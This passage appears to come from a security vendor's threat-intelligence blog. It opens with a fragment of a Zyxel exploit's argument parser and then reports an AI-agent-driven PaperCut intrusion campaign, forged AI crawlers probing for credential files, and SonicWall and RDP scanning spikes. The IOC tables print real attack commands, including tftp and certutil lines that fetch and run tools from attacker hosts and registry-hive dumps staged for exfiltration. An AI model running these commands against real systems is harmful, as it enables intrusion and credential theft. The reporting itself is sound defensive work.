ap.add_argument('url', help='target URL (http://ip or https://ip:port)')
ap.add_argument('command', help='command to execute')
ap.add_argument('-m', '--mode', choices=['got', 'stack', 'auto'], default='auto',
                help='got=deterministic, stack=ASLR brute-force, auto=fingerprint then decide')
ap.add_argument('-n', '--attempts', type=int, default=10000,                 help='max attempts for stack mode (default: 10000)')
ap.add_argument('--libc', type=lambda v: int(v, 0), default=None, help='libc base address override')
ap.add_argument('--req-params', type=lambda v: int(v, 0), default=None, help='reqParameters address override')
ap.add_argument('--strcmp-got', type=lambda v: int(v, 0), default=None, help='strcmp GOT address override')
ap.add_argument('--system-off', type=lambda v: int(v, 0), default=None, help='system() offset in libc override')
ap.add_argument('--no-fingerprint', action='store_true')
args = ap.parse_args()

parsed = urlparse(args.url)
use_ssl = parsed.scheme == 'https'
host = parsed.hostname
port = parsed.port or (443 if use_ssl else 80)
cmd_bytes = args.command.rstrip().encode()
check_bytes(cmd_bytes, 'command')
print('[*] Zyxel GS1900 Pre-Auth RCE', flush=True)
print(f'[*] Target:  {parsed.scheme}://{host}:{port}', flush=True)
mode = args.mode
req_params = args.req_params or DEF_REQ_PARAMS
strcmp_got = args.strcmp_got or DEF_STRCMP_GOT
libc = args.libc
system_off = SYSTEM_OFF

‍

The MCA used the exploit to execute the Trivial File Transfer Protocol (TFTP) tool to get a custom collector script c from the adversary’s infrastructure:

sh -c tftp -gr c -l /1 <REDACTED> 6969;/bin/sh /1

‍

The collection tool’s final act is staging the collected data for retrieval:

cp /tmp/info /home/web/tmp/info.txt

‍

While the credentials were hashed, 564 of the victims had factory default credentials.

Country	Victim Switches
Italy	133
United States	129
Taiwan	123
France	90
South Korea	69
Netherlands	66
Czech Republic	49
United Kingdom	33
Thailand	28
Slovakia	27
Bulgaria	21
Romania	20
Sweden	19
Germany	18
Finland	18
Ireland	18
Spain	17
Denmark	15
Austria	13
Russia	11
Switzerland	8
Poland	7
Australia	7
Greece	7
Hungary	6
Belarus	5
Ukraine	4
Norway	4
Guadeloupe	4
Lithuania	4
Portugal	3
Latvia	2
Belgium	2
Panama	2
Iran	1
Vietnam	1
Monaco	1
Martinique	1
Turkey	1
Albania	1
Slovenia	1
Malaysia	1
Colombia	1
Uzbekistan	1
Costa Rica	1
Malta	1
Estonia	1
Hong Kong	1
Total	996

‍

Indicators of Compromise

Indicator of Compromise	Note
0e81d80b40eaacbf6cb1e817fb1824c30a824af5cb4faca4aa9b03fd506d480f	Backdoor
0f6e757e82c4d91df5bd249f775b9970b59dee42cc0dfe40f879d77fc16821c6	Backdoor
2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1	Backdoor
*.981666.xyz	C2
74.48.66.73	Staging
<REDACTED>	Exploitation
104.225.153.141	C2
172.245.247.21	Exploitation
kapibala2	Account
kapibala	Account

‍

Sep 21, 2026

Agents Gone Wild: An AI-Orchestrated Global Campaign Against PaperCut NG/MF

GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of 45.142.193.132 since early July 2026 due to its use for attacks against internet facing technologies and devices from Palo Alto, Ubiquiti, Citrix, SonicWall, and Proxmox VE.

On 31 August 2026, a likely Russian-speaking malicious cyber actor (MCA) used 45.142.193.132 and artificial intelligence (AI) to develop, test, and use exploits for PaperCut NG/MF (CVE-2026-81578 and CVE-2026-82078). PaperCut is print management software that enables organizations to track, charge, and manage printing, copying, and scanning jobs for organizations. PaperCut offers cloud and self-hosted versions. PaperCut NG and MF are self-hosted Java web applications that by default run with SYSTEM-level privileges on Windows and are usually domain-joined and integrated with Active Directory. As part of the adversary’s exploit development and testing, they built and attacked a lab environment that included the vulnerable PaperCut software and an Active Directory server. In parallel workflows, the adversary built target lists using an internet scanning service Netlas.io using an identified API key.

Once the adversary achieved remote code execution (RCE) and credential harvesting in its self-hosted lab environment, they used hundreds of AI Agents powered by OpenAI’s Codex (harness), a DeepSeek model (not OpenAI models), and various publicly available offensive security tools to opportunistically compromise at least 440 instances of PaperCut MF/NG hosted by 395 identified victim organizations in 48 countries. There are other real victims that could not be attributed to a named organization. The adversary did explicitly attempt to avoid targeting entities in 28 identified countries; however, our observed victimology shows the attempted restraint failed in some instances.

It’s clear that large language models (LLM) are enabling adversaries to move at greater speed and scale. The adversary went from an empty workspace to first achieving RCE against a real victim in just under four hours, first domain admin in an additional two hours, and once the full campaign launched, compromised at least 11 organizations in 26 seconds. In one instance, the adversary went from initial access to full domain administrator in seven minutes against a high school in the United States. However, the adversary did not experience success evenly across all victims. GreyNoise observed the adversary achieved domain admin against only 12 victim organizations.

The adversary did not immediately follow-up with all compromised victims, so there were multiple-day delays between initial access and achievement of domain admin but only due to a lack of action by the adversary. Where domain admin was achieved, the adversary’s fastest time was five minutes and the longest time was 144 minutes. At GreyNoise’s time of last observation, the adversary had not achieved domain admin against the other victims. In at least one instance of targeting a perceived vulnerable PaperCut instance, Cloudflare’s Web Application Firewall (WAF) defeated the adversary. Fundamental hardening of environments still matters against AI-enabled threats.

It is unclear if this actor is solely focused on access development to be handed off to other affiliated actors or if they will directly leverage their accesses to achieve follow-on objectives such as data theft or ransomware deployment. In the past, other intrusions involving exploitation of PaperCut have led to extortion. GreyNoise partnered with industry leading incident response services organizations to conduct victim notifications around the clock.

‍

Incident timelineTLP:CLEAR

PaperCut mass exploitation by an AI agent

AI agents directed by a malicious cyber actor (MCA) used OpenAI's Codex with a DeepSeek model.

25 dated events on 4 daysUnauthorized accessSelect a date to read it.

185

Aug 27, 2026

PaperCut publishes its security advisory

(PaperCut CVE-2026-81578 Authentication Bypass Attempt; PaperCut CVE-2026-82078 Unsafe Reflection RCE Attempt) are the GreyNoise tags for the two CVEs in this campaign.

Open in the GreyNoise Visualizer ↗

Aug 31, 2026 · 14:44:55 UTC

Workspace created and software downloaded

From its orchestration host, the MCA downloads the advisory and pre- and post-patch versions of the software, then searches the internet for public proofs of concept and exploits.

Aug 31, 2026 · 15:18:26 UTC

First list of suspected vulnerable targets

Aug 31, 2026 · 15:54:53 UTC

Versions diffed and exploits developed

Installer components for the vulnerable and patched versions are extracted and diffed. The exploits are tested against patched and unpatched servers in Africa.

Aug 31, 2026 · 16:04:42 UTC

MCA is prompted for permission to continue

Aug 31, 2026 · 16:09:31 UTC

Multi-threaded tool built

Built to operationalize the previous findings in furtherance of the attack.

Aug 31, 2026 · 16:09:49 UTC

Tool identifies 462 potentially vulnerable targets

Aug 31, 2026 · 16:14:53 UTC

Multi-threaded tool refined

Aug 31, 2026 · 16:20:14 UTC

Multi-threaded tool refined again

Aug 31, 2026 · 16:23:19 UTC

Target list grows with the improved tool

Aug 31, 2026 · 16:26:00 UTC

1,005 potential target addresses resolved to countries

Using a downloaded IP2Location LITE DB1 country database.

Aug 31, 2026 · 16:35:10 UTC

Local lab built

An Active Directory server and a vulnerable PaperCut server.

Aug 31, 2026 · 16:46:47 UTC

Target list refined

Aug 31, 2026 · 16:58:46 UTC

Target list refined again

Aug 31, 2026 · 17:02:12 UTC

Lab gains 8 fake Active Directory users

Aug 31, 2026 · 18:39:39 UTCUnauthorized access

First remote code execution on a real target

Remote code execution and a shell on a real target in Australia.

Aug 31, 2026 · 19:14:46 UTC

Target list excludes 28 countries

The MCA lists them in order, from Russia, China and Hong Kong to Namibia, Nigeria and Zimbabwe.

Aug 31, 2026 · 20:50:00 UTC

Per-target intrusion kits assembled

Compartmentalized "Kali-ready" kits with post-exploitation connectivity scripts. A kit can also create an account and password and add it to Domain Admin.

Aug 31, 2026 · 21:00:00 UTCUnauthorized access

Domain Admin validated at the first real target

The initial Australian target.

Sep 1, 2026 · 07:00:00 UTC

Target list refined with Netlas.io results

Using a specific Application Programming Interface (API) key.

Sep 1, 2026 · 08:30:00 UTCUnauthorized access

Agents launch the campaign via a second execution host

Hundreds of SSH sessions to that host. Unauthorized access to 11 organizations in 26 seconds, credential harvesting within a minute, 78 in the first hour, 8 with Domain Admin.

Sep 1, 2026 · 17:01:00 UTC

Cloudflare's Web Application Firewall defeats the MCA

Targeting a host behind Cloudflare fails. The MCA also notices performance issues and adjusts thread usage for targets in the United States.

Sep 1, 2026 · 17:15:00 UTC

Bug found and fixed automatically

The campaign continues harvesting credentials.

Sep 1, 2026 · 23:12:04 UTCUnauthorized access

Last remote code execution of Sep 1

Unauthorized access to more than 223 PaperCut systems.

Sep 2, 2026 · 15:45:35 UTCUnauthorized access

Last remote code execution of Sep 2

Unauthorized access to the remainder of the PaperCut systems.

Source: GreyNoise.

Times are UTC.

‍

Key Takeaways

Despite U.S. based frontier model guardrails, adversaries are using a variety of large language models to conduct intrusions globally
AI enables fast and efficient complex orchestration of cyber operations; however, unless properly constrained, agentic operations can deviate from expected behavior and pose operational risk
Organizations are not helpless against agentic attacks and traditional hardening does have a positive impact on the security posture of an organization

‍

Intrusion Attack Lifecycle

Where domain admin was achieved, GreyNoise observed three attack paths:

Attack Path A.

If the compromised PaperCut host was a domain member, the adversary harvested LSASS process memory and registry secrets to recover privileged credentials to pass-the-hash to the domain controller.

Attack Path B.

In instances where the victim had not patched for CVE-2021-42278 and CVE-2021-42287, the adversary used a ‘noPac’ attack.

Attack Path C.

If the compromised PaperCut host was on the Domain Controller itself or running as a Domain-Admin service account, the adversary simply added its newly created account to Domain Admins.

In all Attack Paths, the adversary used DCSync to create a full NTDS.DIT dump to exfiltrate the organization’s credentials.

‍

GreyNoise Community CTA

Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

50 IP lookups a week, plus live dashboards and up to 3 alerts
Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
Sign up with a work email for 10-day lookback, bulk lookups, and API access

Create your free account Takes about 30 seconds.

‍

Indicators of Compromise

Note that these IOCs are not exhaustive, the AI-enabled adversary continued to make necessary changes on the fly. GreyNoise will continue to add new IOCs on our GitHub.

Observable	Description
45.142.193.132	Used to orchestrate and execute the campaign
45.158.196.75	Used to execute the campaign
528cd4e69ecfa5191adbcf6ef28667bf (lsa_read.exe)	Rust LSA secret reader
ce870a91e8d27e8f663f0687abc60b04 (save_hives.exe)	Registry Hive Dumper
a6437ac3d6798090a218520985d36a3f (collect_custom.exe)	Rust custom collector
fc92dfafa7aa741c5f2b9cbcf75d1d19 (lsa_collect_small.exe)	Rust LSA bootkey collector
974decb9ff4c8f9ccb0937c96d513347 (certipy.exe)	ADCS Abuse Tool
Administrator17	Adversary created account
C:\Windows\Temp\pc-sys.hiv	SYSTEM hive staged for exfil
C:\Windows\Temp\pc-sec.hiv	SECURITY hive staged for exfil
C:\Windows\Temp\pc-security.hiv	SECURITY hive staged for exfil
C:\Windows\Temp\pc-system.hiv	SYSTEM hive staged for exfil
C:\ProgramData\pc-sys-reg.hiv	SYSTEM hive staged for exfil (alternate path)
C:\Windows\Temp\pc-*.b64	Base64-encoded hive chunks staged for HTTP exfiltration
C:\ProgramData\ligolo-agent.exe	Ligolo tunnel agent dropped for persistent access
...\PaperCut MF\server\custom\web\pcp_<10rand>.txt	Evidence of successful exploitation
reg save HKLM\SYSTEM "C:\Windows\Temp\pc-system.hiv" /y & certutil -encode "C:\Windows\Temp\pc-system.hiv" "C:\Windows\Temp\pc-system.b64" & type "C:\Windows\Temp\pc-system.b64"	Dumping the SYSTEM registry hive to disk, base64 encoding it, and verifying its output in preparation for exfiltration.
reg save HKLM\SECURITY "C:\Windows\Temp\pc-security.hiv" /y & certutil -encode "C:\Windows\Temp\pc-security.hiv" "C:\Windows\Temp\pc-security.b64" & type "C:\Windows\Temp\pc-security.b64"	Dumping the SECURITY registry hive to disk, base64 encoding it, and verifying its output in preparation for exfiltration.
certutil -urlcache -split -f "http://45.142.193[.]132:8000/lsa_collect.exe" C:\Windows\Temp\lsa_collect.exe & C:\Windows\Temp\lsa_collect.exe	Downloading and executing LSA bootkey collector
http://45.142.193.132:8089/agent5.exe	URL for Ligolo-ng used by adversary
C:\ProgramData\LegitSvc\legit-svc.exe	Ligolo-ng name and path used by adversary
C:\ProgramData\LegitSvc\legit-svc-backup.exe.	Ligolo-ng name and path used by adversary

‍

Adversary Tool Kit

The MCA had a library of publicly available offensive security tools used to expand access to the enterprise environment. Note that not all of these tools were observed in active use during this campaign.

Tool	Upstream	Acquisition
Mimikatz	gentilkiwi/mimikatz	binary
SharpHound	SpecterOps/SharpHound	binary
Certipy	ly4k/Certipy	binary
BloodHound Legacy	SpecterOps/BloodHound-Legacy	binary
Rubeus	GhostPack/Rubeus	archive
Impacket	fortra/impacket	archive
NetExec	Pennyw0rth/NetExec	archive
SpoolSample	leechristensen/SpoolSample	archive
Certipy (source)	ly4k/Certipy	archive
BloodHound CE	SpecterOps/BloodHound	git clone
Mimikatz (source)	ParrotSec/mimikatz	git clone
BloodHound.py	dirkjanm/BloodHound.py	git clone
Seatbelt	GhostPack/Seatbelt	git clone
Certify	GhostPack/Certify	git clone
SharpSploit	cobbr/SharpSploit	git clone
Empire	BC-SECURITY/Empire	git clone
VeeamDumper	MWR-CyberSec/VeeamDumper	git clone
SharpVeeamDecryptor	S3cur3Th1sSh1t/SharpVeeamDecryptor	git clone
CVE-2023-27532 (PoC 1)	horizon3ai/CVE-2023-27532	git clone
CVE-2023-27532 (PoC 2)	sfewer-r7/CVE-2023-27532	git clone
pyVmomi	vmware/pyvmomi	git clone
govmomi	vmware/govmomi	git clone
EDR2trash	tristanqtn/EDR2trash	git clone
Disable-TamperProtection	AlteredSecurity/Disable-TamperProtection	git clone
AMSI Bypass PowerShell	S3cur3Th1sSh1t/Amsi-Bypass-Powershell	git clone

‍

Targeting and Victimology

This campaign appears to be opportunistic. There is a high concentration of U.S. based targets in the education sector; however, it’s likely that is more attributable to the customer base of PaperCut NG/MF.

The adversary used a list of defined countries to avoid that existed from previous campaigns. It’s currently uncertain why the MCA’s agents deviated, but it is a good example of Agents Gone Wild. The countries to avoid in order were: Russia, China, Hong Kong, Thailand, Iran, Venezuela, Belarus, Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, Uzbekistan, Armenia, Azerbaijan, Moldova, Ukraine, Brazil, Vietnam, Indonesia, Pakistan, Tanzania, Bangladesh, Afghanistan, Turkey, South Africa, Namibia, Nigeria, and Zimbabwe.

‍

Volume by Country

Country	Victims	Credential Harvesting	OS / Domain Secrets	Domain Admin
United States	98	59	31	1
United Kingdom	59	40	20	3
France	31	23	12	1
Spain	31	20	8	—
Canada	24	10	8	3
Belgium	16	13	8	1
Portugal	16	9	5	1
Australia	15	8	4	—
Germany	15	8	2	1
Switzerland	14	9	1	—
Italy	13	8	7	—
Taiwan	12	11	10	—
Singapore	11	10	1	—
Netherlands	9	6	5	—
South Africa	9	2	1	1
Sweden	8	5	3	—
Brazil	5	2	0	—
Malaysia	5	4	3	—
Denmark	4	3	1	—
Ireland	4	3	2	—
New Zealand	4	3	1	—
Argentina	3	1	0	—
India	3	3	2	—
Cambodia	2	2	2	—
Chile	2	1	1	—
Finland	2	1	1	—
Greece	2	1	0	—
Japan	2	0	0	—
Puerto Rico	2	2	0	—
Austria	1	1	0	—
Botswana	1	1	1	—
Bulgaria	1	0	0	—
China	1	0	0	—
Colombia	1	0	0	—
Ecuador	1	0	0	—
Estonia	1	1	1	—
Kazakhstan	1	0	0	—
Lithuania	1	1	1	—
Mexico	1	1	1	—
Namibia	1	1	0	—
Nigeria	1	1	1	—
Pakistan	1	0	0	—
Philippines	1	1	0	—
Poland	1	1	1	—
Romania	1	1	1	—
Saudi Arabia	1	1	0	—
Sri Lanka	1	1	1	—
Zimbabwe	1	1	0	—
Total	440	280	147	12

‍

Volume by Industry

Industry	Victims	Credential Harvesting	OS / Domain Secrets	Domain Admin
Education	204	129	67	7
Other / unclassified	51	32	18	1
Retail / Commercial / Professional services	38	28	16	2
Real estate / Coworking / Hospitality	29	20	6	—
IT / MSP / Print reseller	25	17	8	—
Non-profit / Religious / Charity	21	16	9	2
Unknown (unattributed)	15	6	3	—
Library / Archive	13	9	8	—
Manufacturing / Industrial / Energy / Utilities	13	7	3	—
Government / Public sector	9	6	3	—
Healthcare / Social care	8	3	2	—
Legal	8	3	2	—
Financial / Insurance	6	4	2	—
Total	440	280	147	12

‍

GreyNoise will continue monitoring the situation and report updates as needed.

Sep 9, 2026

Threat Actors Are Posing as OpenAI, Anthropic and DeepSeek to Target Credentials and Secrets

GreyNoise is observing automated scanners posing as the web crawlers of OpenAI, Anthropic, DeepSeek, and Fortune 500 companies. These forged automated scanners have been observed requesting files often exposed on misconfigured web servers and by other commonly leaked secret and credential methods.

A cluster of scanners impersonating 13 AI crawlers from eight companies requested .env files, cloud access keys, private keys and password stores. Six of those names came from the same 824 addresses in almost identical volume, and within this cluster none of the six requested /robots.txt.

An .env file is where an application keeps database passwords, cloud access keys, API tokens, and other secrets.

‍

Why This Matters

Every program that visits a website announces itself in one line of the request. Chrome says it is Chrome. Googlebot says it is Googlebot. Anthropic's crawler says it is ClaudeBot. Nothing in the request itself proves any of it is true.

AI companies publish crawler names so site owners can allow their crawlers, and address lists so they can verify them. The user agent is a client-supplied header, so a control that checks the name but not the address can be bypassed by forging it.

Threat actors are impersonating AI companies while requesting credentials and secrets. Their ClaudeBot string matches Anthropic's character for character, so no rule keyed on the user agent can tell the two apart. They also forged two of Amazon's crawler names, in even greater volume. Neither matches the user agent Amazon documents.

‍

Key Takeaways

Six AI crawler names arrived in matched volume. They belong to Anthropic, OpenAI, Google and Perplexity.
The six forged names never requested /robots.txt in this traffic. A real crawler reads that file first to learn a site's rules. Anthropic's real crawler requested it more often than any other path.
The requests targeted credentials and secrets. They requested environment files, cloud keys, private keys and password stores.
None of the traffic came from the real crawlers' published addresses. All four companies publish the address ranges their crawlers use. We checked every address against every one of those lists. Not one matched.

‍

The Six Forged AI Crawler Names

Between July 28 and August 23, 2026, six AI crawler names belonging to four companies arrived on a single HTTP client fingerprint. Across the 90 days to August 23, that same fingerprint carried more than 1,500 different user agent strings, most of them ordinary browsers.

Almost all of the six-name traffic arrived in August. The largest single day was 23 August.

That fingerprint identifies the software making the requests, not the machine running it. The six names arrived from 824 separate addresses.

Sessions per user agent string on one HTTP client fingerprint, 28 July to 23 August 2026. ClaudeBot is amber. Each bar is one string and the bars are not added. Three other crawler-named strings on this fingerprint are larger than every bar here.

‍

Google-Extended is a word publishers write in robots.txt to opt out of AI training. Google documents that it "doesn't have a separate HTTP request user agent string." No Google crawler sends it. So all 263,849 sessions carrying it here were forged.

‍

Request Behavior

A real crawler reads /robots.txt first, the file where a site states its rules. Under the six forged names, that file was never requested once.

What they asked for instead was credentials. Across all traffic on this one fingerprint, which carried other names besides the six, requests for environment files, cloud access keys, private keys and password stores ran into the millions.

Anthropic's real crawler, measured over the same window by the same method, does the opposite. /robots.txt was the single path it requested most, 12% of its traffic, and it never requested a credential file.

‍

How We Know These Are Not the Real Crawlers

No legitimate AI crawler asks for credentials. These crawlers exist to read pages so an assistant can cite them, and a .env file is not a page. Anthropic's real crawler, measured the same way over the same window, never requested one.

All four companies publish the address ranges their crawlers use. We fetched every one of those lists, and Amazon's as well, and checked every address that sent a forged name against all of them. Not one matched. Over the same window, thousands of sessions carrying the ClaudeBot name did arrive from Anthropic's published addresses.

The label does not separate them. Almost every session here carries the same Web Crawler label that real crawler traffic carries. It’s also not possible to do network-based blocking, because the 824 addresses are spread across 795 separate /24 networks. The published lists do separate them, since not one of the 824 falls inside any range these four companies publish.

GreyNoise observes requests arriving. Nothing here says a file was returned or that any organization was affected, and we are not naming who is behind it.

‍

Recommendations

Identify this activity using more than the user agent. The 824 addresses sit in 795 separate /24 networks, so there is no single network to block. Wherever a crawler name already grants access or waives a control, check the connecting address against the published list for the name it claims.

For Security Operations

Never treat a user agent string as identity. Check the connecting address against the published list for the name it claims
Alert on any request for /.env, /.aws/credentials or /.git/config. No crawler has any reason to ask for these, and your own scanners should already be on a known list
A crawler that never requests /robots.txt is not behaving like a crawler. Real crawlers cache that file, so judge this across days instead of single visits

‍

For Security Leadership

Find every place a user agent string grants access or waives a control, and put a real check behind it
Give each vendor address list an owner and a refetch schedule. A stale list turns the real crawler into an alert

‍

For Web and Platform Administrators

Keep .env, .git and cloud credential files out of the web root entirely
Rotate any cloud key that was ever reachable from a web path, and assume anything readable was read
Upgrade Vite to 6.2.3, 6.1.2, 6.0.12, 5.4.15 or 4.5.10

‍

Indicators of Attack

The full list of 824 addresses can be found here.

GreyNoise customers get the complete indicator set by email. That includes the above IPs, every credential path observed, the fingerprint families, and complete JA4+ fingerprints.

The published crawler address lists, so the check in this post can be repeated. Every address that sent a forged name was tested against all of these.

https://claude.com/crawling/bots.json
https://openai.com/gptbot.json
https://openai.com/chatgpt-user.json
https://openai.com/searchbot.json
https://developers.google.com/static/crawling/ipranges/common-crawlers.json
https://developers.google.com/static/crawling/ipranges/special-crawlers.json
https://developers.google.com/static/crawling/ipranges/user-triggered-fetchers.json
https://www.perplexity.ai/perplexitybot.json
https://www.perplexity.ai/perplexity-user.json
https://developer.amazon.com/amazonbot/ip-addresses/
https://developer.amazon.com/amazonbot/searchbot-ip-addresses/

‍

Impostor client fingerprint (JA4H): We recommend using this for investigation rather than blocking. The fingerprint is half-redacted here; the complete value is available in the Visualizer and in the customer package.

ge11nn05enus_f3bb7a...

‍

Most requested impostor credential paths:

/.env

/app/.env

/api/.env

/backend/.env

/.env.local

/.env.production

/.env.old

/.env.bak

/.aws/credentials

/.env.swp

‍

Do Not Alert On These

These belong to Anthropic's real crawler. Do not block or alert on them, and do not import them as indicators.

‍

REAL FINGERPRINT, PAIR WITH A PUBLISHED ADDRESS

ge11nn080000_757a95...

‍

REAL STRING, SENT BY BOTH

Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)

‍

VERIFY AGAINST THE PUBLISHED RANGE

216.73.216.0/22

‍

The user agent string proves nothing on its own, because the real crawler and the impostor both send it. The fingerprint is not enough on its own either. Allow only when the fingerprint and a published address agree.

Each crawler name has its own list. OpenAI publishes separate lists for GPTBot, ChatGPT-User and OAI-SearchBot, so check the name you actually saw against that name's list. All the lists are in the customer package.

‍

Associated GreyNoise tags:

BLOCK SUSPCIOUS IPS TRACK SUSPICIOUS IPS

Aug 28, 2026

A New SonicWall Scanning Spike Echoes the Pattern That Preceded CVE-2026-0400

Between May 9 and May 18, 2026, GreyNoise observed a significant new spike in scanning of SonicWall SonicOS management interfaces. The May 12 peak — approximately 597,000 sessions — was the largest single-day total recorded on the SonicWall SonicOS API Scanner tag in the past 90 days, roughly 46× the typical daily volume for this tag in the 30 days before the elevation.

Similar elevations in activity against this GreyNoise tag have preceded new vulnerability disclosures affecting SonicWall (Ten Days Before Zero, GreyNoise 2026).

Activity on this tag spiked three times in an earlier sequence — on January 18, January 30, and February 14 — at 37, 25, and 10 days before the February 24 disclosure of CVE-2026-0400. The current spike may be a similar early warning.

The relationship is one observed precedent, not a rule. The current spike could be the first of a multi-event sequence like the Q1 pattern, a single event preceding a disclosure, or unrelated activity. Three documented spikes on this tag preceded a single CVE — a precedent, not an established cadence, and not a definitive rule.

GreyNoise is publishing the signal, not predicting a CVE.

‍

‍

‍

Single-day session volume on the SonicWall SonicOS API Scanner tag. Three Q1 activity spikes — January 18, January 30, and February 14, 2026 — preceded the February 24 disclosure of CVE-2026-0400. The May 12 peak is the largest single-day total recorded on this tag in the past 90 days.

‍

What We're Seeing

Tooling: Approximately 99% of requests carry a single browser user-agent — Chrome 119 on Linux x86_64 — the same fingerprint that dominated the January–February SonicWall scanning (94.5% of Q1 traffic, per Ten Days Before Zero). The tooling appears unchanged.
Source infrastructure: Approximately 56% of sessions originate from networks announced in the Netherlands and 44% in Ukraine — together more than 99% of total volume.
Concentration: A single ASN (AS211736) carries roughly half of total session volume. The IPs involved are overwhelmingly classified by GreyNoise as Suspicious.
Targeted services: Ports 80 and 8080 (HTTP) carry virtually all the scanning.

‍

What Defenders Should Do

Immediate:

Restrict SonicOS management API and SSL VPN portal access to known administrative ranges. Eliminate public exposure of management interfaces.
Require MFA on all SSL VPN accounts.
Audit SonicOS configuration for new administrative accounts created since May 1, 2026.
Apply a dynamic IP blocklist at the network edge.

Over the next several weeks (the documented lead-time window for this pattern):

Monitor the SonicWall PSIRT advisory feed. Plan to patch within 24 hours of any disclosure.
Increase logging retention and outbound-traffic alerting on SonicWall appliances.

‍

Reference

Ten Days Before Zero (GreyNoise, April 2026)
SonicWall SonicOS API Scanner tag
SonicWall SSL VPN Login Attempt tag

‍

BLOCK MALICIOUS IPS TRACK MALICIOUS IPS

May 21, 2026

Just 21 IP Addresses Are Now Behind Nearly Half of All RDP Scanning on the Internet

A fleet of 21 IP addresses is now generating nearly half of all the RDP scanning traffic on the public internet. On April 7, 2026 alone, those IPs produced 1,856,167 of the 2,753,274 RDP Crawler sessions observed globally by the GreyNoise Observation Grid (GOG) — 67.4% of the worldwide total. Across a 48-hour window from April 5–7, the same fleet accounted for 49.7% of global RDP Crawler activity, while the other 3,644 sources on the internet produced the rest combined.

RDP — short for Remote Desktop Protocol — is how Windows lets people log into a computer remotely. Attackers scan the internet for exposed RDP endpoints, initiating connection requests at scale to map targets. Once they find an open service, brute-force password attempts typically follow. RDP has been one of the top entry points into corporate networks for years, which is why the sudden concentration of scanning activity in one small network matters.

The 21 RDP fleet IPs are part of a larger cluster of active addresses in a single autonomous system: AS213438, registered in RIPE WHOIS to ColocaTel Inc. of Mahe, Seychelles. This is the same ASN GreyNoise previously reported on for producing roughly 10.7 million sessions the week of March 5–11, 2026 — before activity collapsed 97.7% overnight on March 7 and went quiet for most of the month. In the first week of April, the ASN came back: smaller fleet, tighter geography, single-protocol focus on RDP. Then, just as before, it crashed — dropping 99.9% in a single day and going fully silent by April 9.

‍

Key Takeaways

On April 7, 21 IPs in AS213438 produced 1,856,167 RDP Crawler sessions — 67.4% of global RDP Crawler activity that day. Across a 48-hour window (April 5–7), the fleet accounted for 49.7% of the global total.

The RDP fleet concentrates in four /24 network blocks.

Total AS213438 volume scaled roughly 11x in 24 hours — from 180,293 sessions on April 6 to 2,011,365 sessions on April 7. RDP Crawler accounted for the overwhelming majority of this traffic.

The Netherlands' global share jumped from 7.17% to 53.86%. Romania's share fell from 29.89% to 15.78% — not because Romania dropped, but because the Netherlands grew ~15x and changed the denominator.

The fleet crashed on April 8 and went silent on April 9 — the same burst-and-crash pattern observed in March. RDP Crawler sessions from AS213438 fell from 1,856,167 on April 7 to 1,795 on April 8 to zero on April 9. Two burst-and-crash cycles from the same ASN, same IPs, same pattern, 30 days apart.

‍

What the Data Does and Does Not Show

GreyNoise sensors observe unsolicited traffic hitting the public internet — scanning, probing, exploitation attempts, payload delivery, credential-harvesting requests, and RCE attempts. We do not observe successful compromises on real production systems. Every number in this post describes attacker activity reaching GreyNoise sensors, not confirmed impact on third-party environments.

GreyNoise does not attribute this activity to a named actor. ColocaTel Inc. is the RIPE-registered holder of AS213438. IP geolocation describes where infrastructure is routed, not where operators sit.

‍

Why This Matters

For most of the past year, Romania was the largest single country-level source of RDP scanning traffic observed by GreyNoise. That changed in two days. Romania dropped from 29.89% to 15.78% of global share, and the Netherlands — where the 21 RDP fleet IPs are hosted — rose from 7.17% to 53.86%. AS213438 accounts for the majority of that country-level shift.

Two things make this notable. First, 21 IPs generating half of a global scanning category is not normal — typical source distributions are spread across thousands of IPs and hundreds of networks. Country-level or broad reputation feeds tuned to the old distribution are now pointing at the wrong place. Second, the same ASN was recently the loudest thing on the GOG, then fell silent, then came back smaller and narrower — and then crashed again. That repeating burst-and-crash rotation pattern is a defensive consideration on its own.

‍

The Drop and the Resumption

The week of March 5–11, 2026, AS213438 was among the top source ASNs on the GOG, generating roughly 10.7 million sessions across mixed scanning behavior. On March 6, the ASN produced 3,756,496 sessions. On March 7, that figure crashed to 86,953 — a 97.7% single-day drop. The ASN stayed quiet through mid-March.

In the first week of April, it came back.

Date (UTC)	Sessions Observed
Mar 28	4,934
Apr 1	46,005
Apr 4	49,532
Apr 5	156,322
Apr 6	180,293
Apr 7	2,011,365
Apr 8	130,006
Apr 9 (through 17:17 UTC)	91,868

‍

Figure 1 — Daily scanning activity from AS213438 (ColocaTel Inc.), Mar 28 to Apr 9, 2026. Bars show total sessions observed by GreyNoise (RDP Crawler accounted for ~85% of volume). Teal bars indicate the ramp and peak; rose bars show the crash. April 9 is partial-day data, through 17:17 UTC.

The April 7 jump is the operational detail: session volume went from 180,293 to 2,011,365 (11.1x) in a single day. By the end of April 7, AS213438 was the single largest source ASN for RDP Crawler activity on the GOG.

Then it crashed. The RDP Crawler fleet — the core of AS213438's activity — went from 1,856,167 sessions on April 7 to 1,795 on April 8, a 99.9% single-day drop. The last RDP Crawler session from AS213438 was observed at 2026-04-08T06:22:49Z. By April 9, the fleet had produced zero RDP Crawler sessions. The remaining AS213438 sessions on April 8–9 are non-RDP activity from other IPs in the same ASN.

This mirrors March exactly: a steep ramp, a volume peak, and then a near-total collapse overnight. Two burst-and-crash cycles from the same ASN, the same IP addresses, and the same operational pattern — 30 days apart.

‍

A note on verification.

April 7's activity spike coincided with a routine change in GreyNoise's sensor observation infrastructure — the kind of change that can, in some cases, make traffic appear to increase when it hasn't actually changed. GreyNoise cross-checked the spike using five independent tests, including comparison against the structurally identical March spike (which involved no infrastructure change), per-sensor rate normalization, and peer-ASN isolation analysis. The result: the spike is real. It presents identically to earlier observed behavior that did not involve an infrastructure change.

The verification also surfaced something interesting about the fleet's scanning speed. When new observation points came online as part of the infrastructure change, AS213438 traffic appeared on them almost immediately — suggesting these IPs are scanning the internet aggressively enough that newly reachable hosts are discovered and probed within minutes.

